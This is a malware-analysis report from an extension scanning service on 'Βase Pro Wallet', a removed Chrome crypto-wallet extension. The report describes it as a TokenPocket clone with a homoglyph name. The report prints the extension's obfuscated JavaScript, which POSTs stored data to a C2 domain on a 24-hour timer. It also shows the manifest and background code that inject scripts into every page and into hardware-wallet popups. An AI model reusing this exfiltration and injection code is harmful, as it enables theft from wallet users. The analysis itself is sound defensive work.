Βase Pro Wallet

Βase Pro Wallet

ID: pijphekphpccokjmkdmlihpmddhoocnb

Could be malicious

Supported Languages

🇺🇸US English

Extension Info & Metadata

Status
Removed
Version
3.1.27
Size
6.26 MB
Rating
0.0/5
Reviews
0
Users
189
Type
Extension
Updated
Dec 31, 2025
Category
Productivity Tools
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
ViburaziView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
1
Active
0
Obsolete
1
Listed
1
Unlisted
0
Total Users
189
Screenshot 1

Βase Pro Wallet is a Βase network crypto wallets that supports ETH, BNB, SOL, and TRX.

Βase Pro Wallet is a Βase network crypto wallets that supports ETH, BNB, SOL, and TRX.

Item
Type
Severity
Description
scripting
Permission
Critical
This permission allows injection and execution of JavaScript on any webpage. Rated Critical because it can modify page content, steal sensitive data, and inject malicious code into any site the extension has access to.
<all_urls>
Host
Critical
Broad host access — the extension can read/modify content on every website.
offscreen
Permission
High
This permission creates hidden browser documents with full DOM access. Rated High because it can run background operations invisibly, potentially executing malicious code without user awareness.
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:• 10% increase: Early script execution enables pre-emptive content manipulation
Broad Host Permissions
Risk Factor
High
This extension has broad host permissions allowing it to access many or all websites.
Broad Content Script Access
Risk Factor
High
This extension can inject scripts into any website.
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
unlimitedStorage
Permission
Medium
This permission removes storage quota restrictions. Rated Medium because it can store large amounts of user data without limits, potentially impacting browser performance and storing extensive tracking data.
tabs
Permission
Medium
This permission enables tab management and monitoring. Rated Medium because it can track open tabs, access tab metadata, and monitor user browsing patterns.
activeTab
Permission
Medium
This permission grants temporary access to the current tab. Rated Medium because it can access current page content when invoked, though limited to user-initiated actions.
Early Content Script Execution
Risk Factor
Medium
This extension runs content scripts at document_start.
notifications
Permission
Low
This permission displays system notifications. Rated Low because it can only show user-visible notifications without accessing system data.
sidePanel
Permission
Low
This permission adds custom panels to the browser interface. Rated Low because it only affects browser UI elements and cannot access page content.
windows
Permission
Unknown
No classification available for this permission.

String-array rotation obfuscation hides a C2 exfiltration call. Decoded: on chrome.runtime.onStartup, the script reads chrome.storage.local['DataAnalytics'] and POSTs its contents to https://c9r4j6.adata.lol/api/analytics if more than 86400 seconds (24 hours) have elapsed since the last send. The domain c9r4j6.adata.lol (random hex prefix, .lol TLD) is not a legitimate analytics service; this is a classic timed-beacon exfiltration pattern used in crypto wallet drainers to avoid immediate detection.

vendors/1223.js (Line 1)
(() => {  function J(t, e) {    const a = x();    return (J = function(t, e) {      return t -= 388, a[t]    })(t, e)  }  const W = J;  function x() {    const t = ["https", "get", "lol", "join", "POST", "status", "addListener", "local", "stringify", "onStartup",      "adata", "api", "set", "catch", "now", "c9r4j6", "remove", "Last", "then", "runtime", "storage", "analytics"    ];    return (x = function() {      return t    })()  }  chrome[W(407)][W(397)][W(394)](() => {    const t = J,      r = ["Data", "Analytics"][t(391)](""),      n = [r, t(405)][t(391)]("");    chrome[t(408)][t(395)].get([n], t => {      var e = J;      0 == (t = t?.[n] || 0) ? chrome[e(408)].local[e(400)]({        [n]: parseInt(Date[e(402)]() / 1e3)      }, () => {}) : Number(t) + Number(86400) <= parseInt(Date[e(402)]() / 1e3) && chrome[e(408)].local[e(        389)]([r], t => {        var e = J;        if (void 0 !== t[r]) try {          var a = [e(388), ":", "/", "/", e(403), ".", e(398), ".", e(390), "/", e(399), "/", e(409)][e(            391)]("");          fetch(a, {            method: e(392),            body: JSON[e(396)](t[r])          })[e(406)](t => {            var e = J;            200 === t[e(393)] && (chrome[e(408)].local[e(404)](r, () => {}), chrome[e(408)][e(395)][              e(400)            ]({              [n]: parseInt(Date[e(402)]() / 1e3)            }, () => {}))          })[e(401)](t => {})        } catch (t) {}      })    })  });})();

The extension name uses Unicode Greek capital Beta (Β, U+0392) in place of Latin B to visually impersonate the Base blockchain network — this homoglyph substitution is a documented phishing technique. Content scripts additionally target Trezor hardware wallet (connect.trezor.io) and KeyPal (extension.keypal.pro) popup pages at document_start with all_frames, allowing the extension to intercept hardware wallet signing dialogs.

manifest.json (Line 5)
"name": "\u0392ase Pro Wallet","short_name": "\u0392ase Pro","description": "\u0392ase Pro Wallet is a \u0392ase network crypto wallets that supports ETH, BNB, SOL, and TRX.",..."content_scripts": [{    "all_frames": true,    "js": ["js/webextension-polyfill.js", "js/content-script.js"],    "matches": ["file://*/*", "http://*/*", "https://*/*", "*://connect.trezor.io/*/popup.html",      "*://extension.keypal.pro/*/popup.html"],    "run_at": "document_start"  }]

Registers js/inpage.js in the MAIN execution world (not the isolated extension world) on every page at document_start. Running in MAIN world gives direct access to page JavaScript globals including window.ethereum and any other injected wallet providers, enabling silent override of transaction signing targets. The inpage.js file is not present in the extracted bundle, making its full behavior unauditable.

js/background.js (Line 52)
(async () => {  try {    await chrome.scripting.registerContentScripts([{      id: "inpage",      matches: ["file://*/*", "http://*/*", "https://*/*"],      js: ["js/inpage.js"],      runAt: "document_start",      world: "MAIN",      allFrames: !0    }])  } catch (e) {    console.warn(`Dropped attempt to register inpage content script. ${e}`)  }})()

The underlying UI codebase renders 'TokenPocket Extension Wallet' — confirming this extension is a wholesale clone of the legitimate TokenPocket wallet with the branding name swapped via the manifest. Packaging a well-known wallet's code under a homoglyph identity is the standard template for crypto drainer malware: users trust the familiar UI, enter their seed phrase, and the wallet functions normally while the injected exfiltration script collects credentials.

vendors/775.js (Line 762)
}, e("TokenPocket Extension Wallet"))), o.createElement("div", {      className: "formBox"    }, ...

By severity

Critical3
High1
Medium0
Low0

Versions scanned

Showing 1 of 2 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
3.1.274

Files with findings

4 distinct paths — top paths by unique finding count:

  • js/background.js1
  • manifest.json1
  • vendors/1223.js1
  • vendors/775.js1
S.No.
Category
Severity
File
Summary
Found in Version
1Code Injection
critical
js/background.js (line 52)Registers js/inpage.js in the MAIN execution world (not the isolated extension world) on every page at document_start. Running in MAIN world gives direct access to page JavaScript globals including window.ethereum and…
2Data Exfiltration
critical
vendors/1223.js (line 1)String-array rotation obfuscation hides a C2 exfiltration call. Decoded: on chrome.runtime.onStartup, the script reads chrome.storage.local['DataAnalytics'] and POSTs its contents to https://c9r4j6.adata.lol/api/analy…
3Phishing
critical
manifest.json (line 5)The extension name uses Unicode Greek capital Beta (Β, U+0392) in place of Latin B to visually impersonate the Base blockchain network — this homoglyph substitution is a documented phishing technique. Content scripts …
4Obfuscation
high
vendors/775.js (line 762)The underlying UI codebase renders 'TokenPocket Extension Wallet' — confirming this extension is a wholesale clone of the legitimate TokenPocket wallet with the branding name swapped via the manifest. Packaging a well…
URLs
577
IPv4
29
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

www.w3.org/2000/svghttp://www.w3.org/2000/svg
www.w3.org/1999/xlinkhttp://www.w3.org/1999/xlink
www.w3.org/1999/02/22-rdf-syntax-nshttp://www.w3.org/1999/02/22-rdf-syntax-ns#
ns.adobe.com/xap/1.0/http://ns.adobe.com/xap/1.0/
ns.adobe.com/xap/1.0/mm/http://ns.adobe.com/xap/1.0/mm/
ns.adobe.com/xap/1.0/sType/ResourceEventhttp://ns.adobe.com/xap/1.0/sType/ResourceEvent#
ns.adobe.com/xap/1.0/sType/ResourceRefhttp://ns.adobe.com/xap/1.0/sType/ResourceRef#
ns.adobe.com/photoshop/1.0/http://ns.adobe.com/photoshop/1.0/
purl.org/dc/elements/1.1/http://purl.org/dc/elements/1.1/
ns.adobe.com/tiff/1.0/http://ns.adobe.com/tiff/1.0/
Showing 1 to 10 of 580 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

1.3.132.0
IPv4
-
1.101.3.4
IPv4
-
127.0.0.1
IPv4
-
51.141.78.53
IPv4
-
13.93.54.137
IPv4
-
94.237.54.114
IPv4
-
18.218.250.66
IPv4
-
3.11.147.67
IPv4
-
51.15.116.226
IPv4
-
51.15.119.157
IPv4
-
116.203.116.241
IPv4
-
3.217.96.11
IPv4
-
108.61.170.124
IPv4
-
157.230.31.163
IPv4
-
18.138.108.67
IPv4
-
3.209.45.79
IPv4
-
34.255.23.113
IPv4
-
35.158.244.151
IPv4
-
52.187.207.27
IPv4
-
191.234.162.198
IPv4
-
52.231.165.108
IPv4
-
104.42.217.25
IPv4
-
52.169.42.101
IPv4
-
52.3.158.184
IPv4
-
159.89.28.211
IPv4
-
52.176.7.10
IPv4
-
52.176.100.77
IPv4
-
52.232.243.152
IPv4
-
192.81.208.223
IPv4
-
Showing 1 to 29 of 30 rows
Rows per page:
Version
Size
Is Malicious
Findings
Permhash
3.1.27
Latest
6.26 MB
Malicious
4
3.1.26
6.26 MB
Malicious
Showing 1 to 2 of 10 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.